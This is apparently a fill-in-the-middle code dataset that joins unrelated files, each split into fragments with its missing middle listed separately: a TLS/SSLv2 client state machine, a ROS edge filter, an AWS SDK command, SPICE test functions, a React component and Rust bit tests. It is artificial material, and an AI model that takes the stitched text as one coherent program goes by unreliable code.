pass @ATMT.condition(ADDED_CLIENTFINISHED) def should_send_ClientFlight2(self): self.flush_records() raise self.SENT_CLIENTFLIGHT2() @ATMT.state() def SENT_CLIENTFLIGHT2(self): raise self.WAITING_SERVERFLIGHT2() @ATMT.state() def WAITING_SERVERFLIGHT2(self): self.get_next_msg() raise self.RECEIVED_SERVERFLIGHT2() @ATMT.state() def RECEIVED_SERVERFLIGHT2(self): pass @ATMT.condition(RECEIVED_SERVERFLIGHT2) def should_handle_ChangeCipherSpec(self): self.raise_on_packet(TLSChangeCipherSpec, self.HANDLED_CHANGECIPHERSPEC) @ATMT.state() def HANDLED_CHANGECIPHERSPEC(self): pass @ATMT.condition(HANDLED_CHANGECIPHERSPEC) def should_handle_Finished(self): self.raise_on_packet(TLSFinished, self.HANDLED_SERVERFINISHED) @ATMT.state() def HANDLED_SERVERFINISHED(self): self.vprint("TLS handshake completed!") self.vprint_sessioninfo() self.vprint("You may send data or use 'quit'.") # end of TLS handshake # @ATMT.condition(HANDLED_SERVERFINISHED) def should_wait_ClientData(self): raise self.WAIT_CLIENTDATA() @ATMT.state() def WAIT_CLIENTDATA(self): pass @ATMT.condition(WAIT_CLIENTDATA, prio=1) def add_ClientData(self): """ The user may type in: GET / HTTP/1.1\r\nHost: testserver.com\r\n\r\n Special characters are handled so that it becomes a valid HTTP request. """ if not self.data_to_send: data = six.moves.input().replace('\\r', '\r').replace('\\n', '\n').encode() # noqa: E501 else: data = self.data_to_send.pop() if data == b"quit": return if self.linebreak: data += b"\n" self.add_record() self.add_msg(TLSApplicationData(data=data)) raise self.ADDED_CLIENTDATA() @ATMT.condition(WAIT_CLIENTDATA, prio=2) def no_more_ClientData(self): raise self.CLOSE_NOTIFY() @ATMT.state() def ADDED_CLIENTDATA(self): pass @ATMT.condition(ADDED_CLIENTDATA) def should_send_ClientData(self): self.flush_records() raise self.SENT_CLIENTDATA() @ATMT.state() def SENT_CLIENTDATA(self): raise self.WAITING_SERVERDATA() @ATMT.state() def WAITING_SERVERDATA(self): self.get_next_msg(0.3, 1) raise self.RECEIVED_SERVERDATA() @ATMT.state() def RECEIVED_SERVERDATA(self): pass @ATMT.condition(RECEIVED_SERVERDATA, prio=1) def should_handle_ServerData(self): if not self.buffer_in: raise self.WAIT_CLIENTDATA() p = self.buffer_in[0] if isinstance(p, TLSApplicationData): print("> Received: %r" % p.data) elif isinstance(p, TLSAlert): print("> Received: %r" % p) raise self.CLOSE_NOTIFY() else: print("> Received: %r" % p) self.buffer_in = self.buffer_in[1:] raise self.HANDLED_SERVERDATA() @ATMT.state() def HANDLED_SERVERDATA(self): raise self.WAIT_CLIENTDATA() @ATMT.state() def CLOSE_NOTIFY(self): self.vprint() self.vprint("Trying to send a TLSAlert to the server...") @ATMT.condition(CLOSE_NOTIFY) def close_session(self): self.add_record() self.add_msg(TLSAlert(level=1, descr=0)) try: self.flush_records() except Exception: self.vprint("Could not send termination Alert, maybe the server stopped?") # noqa: E501 raise self.FINAL() # SSLv2 handshake # @ATMT.state() def SSLv2_PREPARE_CLIENTHELLO(self): pass @ATMT.condition(SSLv2_PREPARE_CLIENTHELLO) def sslv2_should_add_ClientHello(self): self.add_record(is_sslv2=True) p = self.client_hello or SSLv2ClientHello(challenge=randstring(16)) self.add_msg(p) raise self.SSLv2_ADDED_CLIENTHELLO() @ATMT.state() def SSLv2_ADDED_CLIENTHELLO(self): pass @ATMT.condition(SSLv2_ADDED_CLIENTHELLO) def sslv2_should_send_ClientHello(self): self.flush_records() raise self.SSLv2_SENT_CLIENTHELLO() @ATMT.state() def SSLv2_SENT_CLIENTHELLO(self): raise self.SSLv2_WAITING_SERVERHELLO() @ATMT.state() def SSLv2_WAITING_SERVERHELLO(self): self.get_next_msg() raise self.SSLv2_RECEIVED_SERVERHELLO() @ATMT.state() def SSLv2_RECEIVED_SERVERHELLO(self): pass @ATMT.condition(SSLv2_RECEIVED_SERVERHELLO, prio=1) def sslv2_should_handle_ServerHello(self): self.raise_on_packet(SSLv2ServerHello, self.SSLv2_HANDLED_SERVERHELLO) @ATMT.state() def SSLv2_HANDLED_SERVERHELLO(self): pass @ATMT.condition(SSLv2_RECEIVED_SERVERHELLO, prio=2) def sslv2_missing_ServerHello(self): raise self.SSLv2_MISSING_SERVERHELLO() @ATMT.state() def SSLv2_MISSING_SERVERHELLO(self): self.vprint("Missing SSLv2 ServerHello message!") raise self.SSLv2_CLOSE_NOTIFY() @ATMT.condition(SSLv2_HANDLED_SERVERHELLO) def sslv2_should_add_ClientMasterKey(self): self.add_record(is_sslv2=True) self.add_msg(SSLv2ClientMasterKey()) raise self.SSLv2_ADDED_CLIENTMASTERKEY() @ATMT.state() def SSLv2_ADDED_CLIENTMASTERKEY(self): pass @ATMT.condition(SSLv2_ADDED_CLIENTMASTERKEY) def sslv2_should_send_ClientMasterKey(self): self.flush_records() raise self.SSLv2_SENT_CLIENTMASTERKEY() @ATMT.state() def SSLv2_SENT_CLIENTMASTERKEY(self): raise self.SSLv2_WAITING_SERVERVERIFY() @ATMT.state() def SSLv2_WAITING_SERVERVERIFY(self): # We give the server 0.5 second to send his ServerVerify. # Else we assume that he's waiting for our ClientFinished. self.get_next_msg(0.5, 0) raise self.SSLv2_RECEIVED_SERVERVERIFY() @ATMT.state() def SSLv2_RECEIVED_SERVERVERIFY(self): pass @ATMT.condition(SSLv2_RECEIVED_SERVERVERIFY, prio=1) def sslv2_should_handle_ServerVerify(self): self.raise_on_packet(SSLv2ServerVerify, self.SSLv2_HANDLED_SERVERVERIFY, get_next_msg=False) @ATMT.state() def SSLv2_HANDLED_SERVERVERIFY(self): pass def sslv2_should_add_ClientFinished(self): hs_msg = [type(m) for m in self.cur_session.handshake_messages_parsed] if SSLv2ClientFinished in hs_msg: return self.add_record(is_sslv2=True) self.add_msg(SSLv2ClientFinished()) raise self.SSLv2_ADDED_CLIENTFINISHED() @ATMT.condition(SSLv2_HANDLED_SERVERVERIFY, prio=1) def sslv2_should_add_ClientFinished_from_ServerVerify(self): return self.sslv2_should_add_ClientFinished() @ATMT.condition(SSLv2_HANDLED_SERVERVERIFY, prio=2) def sslv2_should_wait_ServerFinished_from_ServerVerify(self): raise self.SSLv2_WAITING_SERVERFINISHED() @ATMT.condition(SSLv2_RECEIVED_SERVERVERIFY, prio=2) def sslv2_should_add_ClientFinished_from_NoServerVerify(self): return self.sslv2_should_add_ClientFinished() @ATMT.condition(SSLv2_RECEIVED_SERVERVERIFY, prio=3) def sslv2_missing_ServerVerify(self): raise self.SSLv2_MISSING_SERVERVERIFY() @ATMT.state(final=True) def SSLv2_MISSING_SERVERVERIFY(self): self.vprint("Missing SSLv2 ServerVerify message!") raise self.SSLv2_CLOSE_NOTIFY() @ATMT.state() def SSLv2_ADDED_CLIENTFINISHED(self): pass @ATMT.condition(SSLv2_ADDED_CLIENTFINISHED) def sslv2_should_send_ClientFinished(self): self.flush_records() raise self.SSLv2_SENT_CLIENTFINISHED() @ATMT.state() def SSLv2_SENT_CLIENTFINISHED(self): hs_msg = [type(m) for m in self.cur_session.handshake_messages_parsed] if SSLv2ServerVerify in hs_msg: raise self.SSLv2_WAITING_SERVERFINISHED() else: self.get_next_msg() raise self.SSLv2_RECEIVED_SERVERVERIFY() @ATMT.state() def SSLv2_WAITING_SERVERFINISHED(self): self.get_next_msg() raise self.SSLv2_RECEIVED_SERVERFINISHED() @ATMT.state() def SSLv2_RECEIVED_SERVERFINISHED(self): pass @ATMT.condition(SSLv2_RECEIVED_SERVERFINISHED, prio=1) def sslv2_should_handle_ServerFinished(self): self.raise_on_packet(SSLv2ServerFinished, self.SSLv2_HANDLED_SERVERFINISHED) # SSLv2 client authentication # @ATMT.condition(SSLv2_RECEIVED_SERVERFINISHED, prio=2) def sslv2_should_handle_RequestCertificate(self): self.raise_on_packet(SSLv2RequestCertificate, self.SSLv2_HANDLED_REQUESTCERTIFICATE) @ATMT.state() def SSLv2_HANDLED_REQUESTCERTIFICATE(self): self.vprint("Server asked for a certificate...") if not self.mykey or not self.mycert: self.vprint("No client certificate to send!") raise self.SSLv2_CLOSE_NOTIFY() @ATMT.condition(SSLv2_HANDLED_REQUESTCERTIFICATE) def sslv2_should_add_ClientCertificate(self): self.add_record(is_sslv2=True) self.add_msg(SSLv2ClientCertificate(certdata=self.mycert)) raise self.SSLv2_ADDED_CLIENTCERTIFICATE() @ATMT.state() def SSLv2_ADDED_CLIENTCERTIFICATE(self): pass @ATMT.condition(SSLv2_ADDED_CLIENTCERTIFICATE) def sslv2_should_send_ClientCertificate(self): self.flush_records() raise self.SSLv2_SENT_CLIENTCERTIFICATE() @ATMT.state() def SSLv2_SENT_CLIENTCERTIFICATE(self): raise self.SSLv2_WAITING_SERVERFINISHED() # end of SSLv2 client authentication # @ATMT.state() def SSLv2_HANDLED_SERVERFINISHED(self): self.vprint("SSLv2 handshake completed!") self.vprint_sessioninfo() self.vprint("You may send data or use 'quit'.") @ATMT.condition(SSLv2_RECEIVED_SERVERFINISHED, prio=3) def sslv2_missing_ServerFinished(self): raise self.SSLv2_MISSING_SERVERFINISHED() @ATMT.state() def SSLv2_MISSING_SERVERFINISHED(self): self.vprint("Missing SSLv2 ServerFinished message!") raise self.SSLv2_CLOSE_NOTIFY() # end of SSLv2 handshake # @ATMT.condition(SSLv2_HANDLED_SERVERFINISHED) def sslv2_should_wait_ClientData(self): raise self.SSLv2_WAITING_CLIENTDATA() @ATMT.state() def SSLv2_WAITING_CLIENTDATA(self): pass @ATMT.condition(SSLv2_WAITING_CLIENTDATA, prio=1) def sslv2_add_ClientData(self): if not self.data_to_send: data = six.moves.input().replace('\\r', '\r').replace('\\n', '\n').encode() # noqa: E501 else: data = self.data_to_send.pop() self.vprint("> Read from list: %s" % data) if data == "quit": return if self.linebreak: data += "\n" self.add_record(is_sslv2=True) self.add_msg(Raw(data)) raise self.SSLv2_ADDED_CLIENTDATA() @ATMT.condition(SSLv2_WAITING_CLIENTDATA, prio=2) def sslv2_no_more_ClientData(self): raise self.SSLv2_CLOSE_NOTIFY() @ATMT.state() def SSLv2_ADDED_CLIENTDATA(self): pass @ATMT.condition(SSLv2_ADDED_CLIENTDATA) def sslv2_should_send_ClientData(self): self.flush_records() raise self.SSLv2_SENT_CLIENTDATA() @ATMT.state() def SSLv2_SENT_CLIENTDATA(self): raise self.SSLv2_WAITING_SERVERDATA() @ATMT.state() def SSLv2_WAITING_SERVERDATA(self): self.get_next_msg(0.3, 1) raise self.SSLv2_RECEIVED_SERVERDATA() @ATMT.state() def SSLv2_RECEIVED_SERVERDATA(self): pass @ATMT.condition(SSLv2_RECEIVED_SERVERDATA) def sslv2_should_handle_ServerData(self): if not self.buffer_in: raise self.SSLv2_WAITING_CLIENTDATA() p = self.buffer_in[0] print("> Received: %r" % p.load) if p.load.startswith(b"goodbye"): raise self.SSLv2_CLOSE_NOTIFY() self.buffer_in = self.buffer_in[1:] raise self.SSLv2_HANDLED_SERVERDATA() @ATMT.state() def SSLv2_HANDLED_SERVERDATA(self): raise self.SSLv2_WAITING_CLIENTDATA() @ATMT.state() def
(self): """ There is no proper way to end an SSLv2 session. We try and send a 'goodbye' message as a substitute. """ self.vprint() self.vprint("Trying to send a 'goodbye' to the server...") @ATMT.condition(SSLv2_CLOSE_NOTIFY) def sslv2_close_session(self): self.add_record() self.add_msg(Raw('goodbye')) try: self.flush_records() except Exception: self.vprint("Could not send our goodbye. The server probably stopped.") # noqa: E501 self.socket.close() raise self.FINAL() # TLS 1.3 handshake # @ATMT.state() def TLS13_START(self): pass @ATMT.condition(TLS13_START) def tls13_should_add_ClientHello(self): # we have to use the legacy, plaintext TLS record here self.add_record(is_tls13=False) if self.client_hello: p = self.client_hello else: # When trying to connect to a public TLS 1.3 server, # you will most likely need to provide an SNI extension. # sn = ServerName(servername="<put server name here>") ext = [TLS_Ext_SupportedGroups(groups=["secp256r1"]), # TLS_Ext_ServerName(servernames=[sn]), TLS_Ext_KeyShare_CH(client_shares=[KeyShareEntry(group=23)]), # noqa: E501 TLS_Ext_SupportedVersions(versions=["TLS 1.3-d18"]), TLS_Ext_SignatureAlgorithms(sig_algs=["sha256+rsapss", "sha256+rsa"])] p = TLSClientHello(ciphers=0x1301, ext=ext) self.add_msg(p) raise self.TLS13_ADDED_CLIENTHELLO() @ATMT.state() def TLS13_ADDED_CLIENTHELLO(self): pass @ATMT.condition(TLS13_ADDED_CLIENTHELLO) def tls13_should_send_ClientHello(self): self.flush_records() raise self.TLS13_SENT_CLIENTHELLO() @ATMT.state() def TLS13_SENT_CLIENTHELLO(self): raise self.TLS13_WAITING_SERVERHELLO() @ATMT.state() def TLS13_WAITING_SERVERHELLO(self): self.get_next_msg() @ATMT.condition(TLS13_WAITING_SERVERHELLO) def tls13_should_handle_ServerHello(self): self.raise_on_packet(TLS13ServerHello, self.TLS13_WAITING_ENCRYPTEDEXTENSIONS) @ATMT.state() def TLS13_WAITING_ENCRYPTEDEXTENSIONS(self): self.get_next_msg() @ATMT.condition(TLS13_WAITING_ENCRYPTEDEXTENSIONS) def tls13_should_handle_EncryptedExtensions(self): self.raise_on_packet(TLSEncryptedExtensions, self.TLS13_WAITING_CERTIFICATE) @ATMT.state() def TLS13_WAITING_CERTIFICATE(self): self.get_next_msg() @ATMT.condition(TLS13_WAITING_CERTIFICATE, prio=1) def tls13_should_handle_Certificate(self): self.raise_on_packet(TLS13Certificate, self.TLS13_WAITING_CERTIFICATEVERIFY) @ATMT.condition(TLS13_WAITING_CERTIFICATE, prio=2) def tls13_should_handle_CertificateRequest(self): hs_msg = [type(m) for m in self.cur_session.handshake_messages_parsed] if TLSCertificateRequest in hs_msg: self.vprint("TLSCertificateRequest already received!") self.raise_on_packet(TLSCertificateRequest, self.TLS13_WAITING_CERTIFICATE) @ATMT.condition(TLS13_WAITING_CERTIFICATE, prio=3) def tls13_should_handle_ServerFinished_from_EncryptedExtensions(self): self.raise_on_packet(TLSFinished, self.TLS13_CONNECTED) @ATMT.condition(TLS13_WAITING_CERTIFICATE, prio=4) def tls13_missing_Certificate(self): self.vprint("Missing TLS 1.3 message after EncryptedExtensions!") raise self.FINAL() @ATMT.state() def TLS13_WAITING_CERTIFICATEVERIFY(self): self.get_next_msg() @ATMT.condition(TLS13_WAITING_CERTIFICATEVERIFY) def tls13_should_handle_CertificateVerify(self): self.raise_on_packet(TLSCertificateVerify, self.TLS13_WAITING_SERVERFINISHED) @ATMT.state() def TLS13_WAITING_SERVERFINISHED(self): self.get_next_msg() @ATMT.condition(TLS13_WAITING_SERVERFINISHED) def tls13_should_handle_ServerFinished_from_CertificateVerify(self): self.raise_on_packet(TLSFinished, self.TLS13_PREPARE_CLIENTFLIGHT2) @ATMT.state() def TLS13_PREPARE_CLIENTFLIGHT2(self): self.add_record(is_tls13=True) # raise self.FINAL() @ATMT.condition(TLS13_PREPARE_CLIENTFLIGHT2) def tls13_should_add_ClientFinished(self): self.add_msg(TLSFinished()) raise self.TLS13_ADDED_CLIENTFINISHED() @ATMT.state() def TLS13_ADDED_CLIENTFINISHED(self): pass @ATMT.condition(TLS13_ADDED_CLIENTFINISHED) def tls13_should_send_ClientFlight2(self): self.flush_records() raise self.TLS13_SENT_CLIENTFLIGHT2() @ATMT.state() def TLS13_SENT_CLIENTFLIGHT2(self): raise self.HANDLED_SERVERFINISHED() @ATMT.state(final=True) def FINAL(self): # We might call shutdown, but it may happen that the server # did not wait for us to shutdown after answering our data query. # self.socket.shutdown(1) self.vprint("Closing client socket...") self.socket.close() self.vprint("Ending TLS client automaton.")
SSLv2_CLOSE_NOTIFY
edge_filter_compressed.py
#!/usr/bin/env python import rospy import sys import cv2 from sensor_msgs.msg import Image, CompressedImage, CameraInfo from cv_bridge import CvBridge, CvBridgeError import numpy as np class cvBridgeDemo: def
(self): self.node_name = "cv_bridge_demo_compressed" rospy.init_node(self.node_name) rospy.on_shutdown(self.cleanup) self.bridge = CvBridge() self.image_sub = rospy.Subscriber("input_image", CompressedImage, self.image_callback, queue_size=1) self.image_pub = rospy.Publisher('output_image', Image, queue_size=1) def image_callback(self, ros_image_compressed): try: np_arr = np.fromstring(ros_image_compressed.data, np.uint8) input_image = cv2.imdecode(np_arr, cv2.IMREAD_COLOR) except CvBridgeError, e: print e output_image = self.process_image(input_image) self.image_pub.publish(self.bridge.cv2_to_imgmsg(output_image, "mono8")) cv2.imshow(self.node_name, output_image) cv2.waitKey(1) def process_image(self, frame): grey = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) grey = cv2.blur(grey, (7, 7)) edges = cv2.Canny(grey, 15.0, 30.0) return edges def cleanup(self): cv2.destroyAllWindows() if __name__ == '__main__': cvBridgeDemo() rospy.spin()
__init__
CreateSnapshotFromVolumeRecoveryPointCommand.ts
import { ServiceInputTypes, ServiceOutputTypes, StorageGatewayClientResolvedConfig } from "../StorageGatewayClient"; import { CreateSnapshotFromVolumeRecoveryPointInput, CreateSnapshotFromVolumeRecoveryPointOutput, } from "../models/index"; import { deserializeAws_json1_1CreateSnapshotFromVolumeRecoveryPointCommand, serializeAws_json1_1CreateSnapshotFromVolumeRecoveryPointCommand, } from "../protocols/Aws_json1_1"; import { getSerdePlugin } from "@aws-sdk/middleware-serde"; import { HttpRequest as __HttpRequest, HttpResponse as __HttpResponse } from "@aws-sdk/protocol-http"; import { Command as $Command } from "@aws-sdk/smithy-client"; import { FinalizeHandlerArguments, Handler, HandlerExecutionContext, MiddlewareStack, HttpHandlerOptions as __HttpHandlerOptions, MetadataBearer as __MetadataBearer, SerdeContext as __SerdeContext, } from "@aws-sdk/types"; export type CreateSnapshotFromVolumeRecoveryPointCommandInput = CreateSnapshotFromVolumeRecoveryPointInput; export type CreateSnapshotFromVolumeRecoveryPointCommandOutput = CreateSnapshotFromVolumeRecoveryPointOutput & __MetadataBearer; export class CreateSnapshotFromVolumeRecoveryPointCommand extends $Command< CreateSnapshotFromVolumeRecoveryPointCommandInput, CreateSnapshotFromVolumeRecoveryPointCommandOutput, StorageGatewayClientResolvedConfig > { // Start section: command_properties // End section: command_properties constructor(readonly input: CreateSnapshotFromVolumeRecoveryPointCommandInput) { // Start section: command_constructor super(); // End section: command_constructor } resolveMiddleware( clientStack: MiddlewareStack<ServiceInputTypes, ServiceOutputTypes>,
): Handler<CreateSnapshotFromVolumeRecoveryPointCommandInput, CreateSnapshotFromVolumeRecoveryPointCommandOutput> { this.middlewareStack.use(getSerdePlugin(configuration, this.serialize, this.deserialize)); const stack = clientStack.concat(this.middlewareStack); const { logger } = configuration; const handlerExecutionContext: HandlerExecutionContext = { logger, inputFilterSensitiveLog: CreateSnapshotFromVolumeRecoveryPointInput.filterSensitiveLog, outputFilterSensitiveLog: CreateSnapshotFromVolumeRecoveryPointOutput.filterSensitiveLog, }; const { requestHandler } = configuration; return stack.resolve( (request: FinalizeHandlerArguments<any>) => requestHandler.handle(request.request as __HttpRequest, options || {}), handlerExecutionContext ); } private serialize( input: CreateSnapshotFromVolumeRecoveryPointCommandInput, context: __SerdeContext ): Promise<__HttpRequest> { return serializeAws_json1_1CreateSnapshotFromVolumeRecoveryPointCommand(input, context); } private deserialize( output: __HttpResponse, context: __SerdeContext ): Promise<CreateSnapshotFromVolumeRecoveryPointCommandOutput> { return deserializeAws_json1_1CreateSnapshotFromVolumeRecoveryPointCommand(output, context); } // Start section: command_body_extra // End section: command_body_extra }
configuration: StorageGatewayClientResolvedConfig, options?: __HttpHandlerOptions
test_functions.py
from spiops import spiops import spiceypy #def test_ckdiff(): # # resolution = 1000000 # tolerance = 0.0001 # deg # spacecraft_frame = 'ROS_LANDER' # target_frame = 'J2000' # mk = 'data/SPICE/ROSETTA/mk/ROS_CKDIFF_TEST.TM' # ck1 = 'data/SPICE/ROSETTA/mk/ROS_CKDIFF_TEST.TM' # ck2 = 'data/SPICE/ROSETTA/ck/LATT_EME2LDR_SDL_SONC_V1_1.BC' # # spiops.ckdiff(mk, ck1, ck2, spacecraft_frame, target_frame, # resolution, tolerance) # # #def test_convert_ESOCorbit2data(): # # print(spiops.utils.convert_ESOCorbit2data('data/ESOC/fdy/LORB_EME2000_RBD_1_V1_0.ROS')) # # #def test_valid_url(): # # out = spiops.utils.valid_url('67P/CG') # # assert out == '67P-CG' # # #def test_cal2et(): # # time1 = spiops.time.cal2et('2000-01-01T12:00:00', format='CAL', # support_ker='MEX_OPS.TM', unload=True) # # time2 = spiops.time.cal2et('2000-01-01T12:00:00', format='UTC', # support_ker='MEX_OPS.TM', unload=True) # # assert time1 == 0.0 # assert time2 == 64.18392728473108 # # #def test_et2cal(): # # time1 = spiops.time.et2cal(0.0, format='UTC', support_ker='MEX_OPS.TM', # unload=True) # time2 = spiops.time.et2cal(64.18392728473108, format='UTC', # support_ker='MEX_OPS.TM',unload=True) # # assert time1 == '2000-01-01T11:58:55.816' # assert time2 == '2000-01-01T12:00:00.000' # # #def test_mjd20002et(): # # # time = spiops.time.mjd20002et(6863.0790, support_ker='naif0012.tls', # unload=True) # # assert time == 592926894.7823608 # # #def test_fov_illum(): # # angle = spiops.fov_illum(mk='MEX_OPS.TM', # sensor='MEX_VMC', # time='2017-04-01', unload=True) # # assert angle == 51.4628080108263 # # #def test_cov_spk_obj(): # # cov = spiops.cov_spk_obj(mk='MEX_OPS.TM', # object='MEX', # time_format='UTC', # unload=True) # # assert cov == [['2017-05-31T23:35:23.939', '2017-06-30T20:46:40.995'], # ['2017-04-30T23:42:46.000', '2017-05-31T23:35:23.939'], # ['2017-03-31T23:50:43.000', '2017-04-30T23:42:46.000'], # ['2017-02-28T22:01:45.000', '2017-03-31T23:50:43.000'], # ['2017-01-31T22:42:20.000', '2017-02-28T22:01:45.000'], # ['2016-12-31T21:29:46.000', '2017-01-31T22:42:20.000']] # # #def test_cov_spk_ker(): # # cov = spiops.cov_spk_ker(spk='/Users/mcosta/Dropbox/SPICE/SPICE_MEX/ftp/data/SPICE/MARS-EXPRESS/kernels' # '/spk/ORMM_T19_170601000000_01351.BSP', # support_ker='/Users/mcosta/Dropbox/SPICE/SPICE_MEX/ftp/data/SPICE/MARS-EXPRESS/kernels/lsk' # '/NAIF0012.TLS', # object='MEX', # time_format='UTC') # # assert cov == ['2017-05-31T23:35:23.939', '2017-06-30T20:46:40.995'] # # #def test_cov_ck_obj(): # # cov = spiops.cov_ck_obj(mk='MEX_OPS.TM', # object='MEX_SC_REF', # time_format='UTC') # # assert cov == [['2016-12-31T23:58:51.815', '2017-07-12T14:58:50.651'], # ['2017-03-31T23:50:43.000', '2017-06-27T06:08:19.973']] # # #def test_cov_ck_ker(): # # cov = spiops.cov_ck_ker(ck='/Users/mcosta/Dropbox/SPICE/SPICE_MEX/ftp/data' # '/SPICE/MARS-EXPRESS/kernels/ck/ATNM_VMC_170101_170712_V01.BC', # support_ker='MEX_OPS.TM', # object='MEX_SC_REF', # time_format='UTC') # # assert cov == ['2016-12-31T23:58:51.815', '2017-07-12T14:58:50.651'] # # #def test_fk_body_ifj2000(): # # transf = spiops.fk_body_ifj2000('JUICE', 'JUPITER', # '/Users/mcosta/Dropbox/SPICE/SPICE_JUICE/ftp/data/SPICE/JUICE' # '/kernels/pck/pck00010.tpc', # '/Users/mcosta/Dropbox/SPICE/SPICE_JUICE/ftp/data/SPICE/JUICE' # '/kernels/spk/jup310.bsp', ',-28970', report=False, file=False, # unload=True) # # assert transf == 'JUPITER_IF->J2000 (3-2-3): -88.05720404270757 - ' \ # '25.504190046604286 - -48.96872816579391' def test_hga_angles(): spiops.load('/Users/mcosta/SPICE/BEPICOLOMBO/kernels/mk/bc_ops_local.tm') (hga_az_el, hga_earth) = spiops.hga_angles('MPO', spiceypy.utc2et('2020-05-07T006:00:00')) print(hga_az_el) def
(): spiops.load('/Users/mcosta/SPICE/BEPICOLOMBO/kernels/mk/bc_ops_local.tm') measured_ck = '/Users/mcosta/SPICE/BEPICOLOMBO/kernels/ck/bc_mpo_sc_scm_20200101_20200508_s20200109_v01.bc' predicted_ck = '/Users/mcosta/SPICE/BEPICOLOMBO/kernels/ck/ck/bc_mpo_sc_fsp_00080_20181020_20200701_f20181127_v01.bc' resolution = 16 start_time = '2020-04-09T03:00:00Z' finish_time = '2020-04-09T09:00:00Z' spiops.ckdiff_error(measured_ck, predicted_ck, 'MPO_SPACECRAFT', 'J2000', resolution, 0.001, plot_style='circle', utc_start=start_time, utc_finish=finish_time, notebook=True) if __name__ == '__main__': test_hga_angles() test_ckdiff_error() print('Test')
test_ckdiff_error
ContentTransition.tsx
/* ** StandoffCase Copyright (C) 2020 sunaiclub ** Full License is in the root directory */ import { CSSProperties, useEffect, useRef, useState } from "react"; import { classWithModifiers } from "resources/utils"; export default function
(props: { in?: any[]; disabled?: boolean; className?: string; style?: CSSProperties; speed?: string; children: any; }) { const [height, setHeight] = useState<number | null>(null); const contentRef = useRef<HTMLDivElement | null>(null); useEffect(() => { if (contentRef.current) { const firstChild = contentRef.current.firstChild as HTMLElement | null; if (firstChild) { setHeight(firstChild.offsetHeight); } } }, [props.in]); if (props.disabled) { return props.children || null; } return ( <div className={classWithModifiers("content-transition", [props.in && "entered"])} style={{ ...props.style, "--height": `${height}px`, "--speed": props.speed }} ref={contentRef}> <div className="content-transition__container"> {props.children} </div> </div> ); }
ContentTransition
bit.rs
#[inline] pub fn r(x: u64) -> u64 { x & x.wrapping_sub(1) } #[inline] pub fn e(x: u64) -> u64 { x & x.wrapping_neg() } #[inline] pub fn s(x: u64) -> u64 { x ^ x.saturating_sub(1) } #[cfg(test)] mod tests { use super::*; #[test] fn test_r() { struct TestCase { x: u64, want: u64, } let test_cases = vec![ TestCase { x: 0b00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000u64, want: 0b00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000u64, }, TestCase { x: 0b00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000001u64, want: 0b00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000u64, }, TestCase { x: 0b00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000010u64, want: 0b00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000u64, }, TestCase { x: 0b00000000_00000000_00000000_00000000_00000000_00000000_00000001_00000000u64, want: 0b00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000u64, }, TestCase { x: 0b00000000_00000000_00000000_00000000_00000000_00000001_00000000_00000000u64, want: 0b00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000u64, }, TestCase { x: 0b00000000_00000000_00000000_00000000_00000001_00000000_00000000_00000000u64, want: 0b00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000u64, }, TestCase { x: 0b00000000_00000000_00000000_00000001_00000000_00000000_00000000_00000000u64, want: 0b00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000u64, }, TestCase { x: 0b00000000_00000000_00000001_00000000_00000000_00000000_00000000_00000000u64, want: 0b00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000u64, }, TestCase { x: 0b00000000_00000001_00000000_00000000_00000000_00000000_00000000_00000000u64, want: 0b00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000u64, }, TestCase { x: 0b00000001_00000000_00000000_00000000_00000000_00000000_00000000_00000000u64, want: 0b00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000u64, }, TestCase { x: 0b00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000011u64, want: 0b00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000010u64, }, TestCase { x: 0b10000000_00100000_00000000_00000000_00000000_00000000_00000100_00000000u64, want: 0b10000000_00100000_00000000_00000000_00000000_00000000_00000000_00000000u64, }, TestCase { x: 0b00000000_00010000_00110010_00000000_00000000_00001100_00000000_00000000u64, want: 0b00000000_00010000_00110010_00000000_00000000_00001000_00000000_00000000u64, }, TestCase { x: 0b11100000_00000000_00000000_00000000_00000000_00000000_00000000_00000000u64, want: 0b11000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000u64, }, TestCase { x: 0b11111111_11111111_11111111_11111111_11111111_11111111_11111111_11111111u64, want: 0b11111111_11111111_11111111_11111111_11111111_11111111_11111111_11111110u64, }, ]; for test_case in test_cases { assert_eq!(test_case.want, r(test_case.x)); } } #[test] fn test_e() { struct TestCase { x: u64, want: u64, } let test_cases = vec![ TestCase { x: 0b00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000u64, want: 0b00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000u64, }, TestCase { x: 0b00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000001u64, want: 0b00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000001u64, }, TestCase { x: 0b00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000010u64, want: 0b00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000010u64, }, TestCase { x: 0b00000000_00000000_00000000_00000000_00000000_00000000_00000001_00000000u64, want: 0b00000000_00000000_00000000_00000000_00000000_00000000_00000001_00000000u64, }, TestCase { x: 0b00000000_00000000_00000000_00000000_00000000_00000001_00000000_00000000u64, want: 0b00000000_00000000_00000000_00000000_00000000_00000001_00000000_00000000u64, }, TestCase { x: 0b00000000_00000000_00000000_00000000_00000001_00000000_00000000_00000000u64, want: 0b00000000_00000000_00000000_00000000_00000001_00000000_00000000_00000000u64, }, TestCase { x: 0b00000000_00000000_00000000_00000001_00000000_00000000_00000000_00000000u64, want: 0b00000000_00000000_00000000_00000001_00000000_00000000_00000000_00000000u64, }, TestCase { x: 0b00000000_00000000_00000001_00000000_00000000_00000000_00000000_00000000u64, want: 0b00000000_00000000_00000001_00000000_00000000_00000000_00000000_00000000u64, }, TestCase { x: 0b00000000_00000001_00000000_00000000_00000000_00000000_00000000_00000000u64, want: 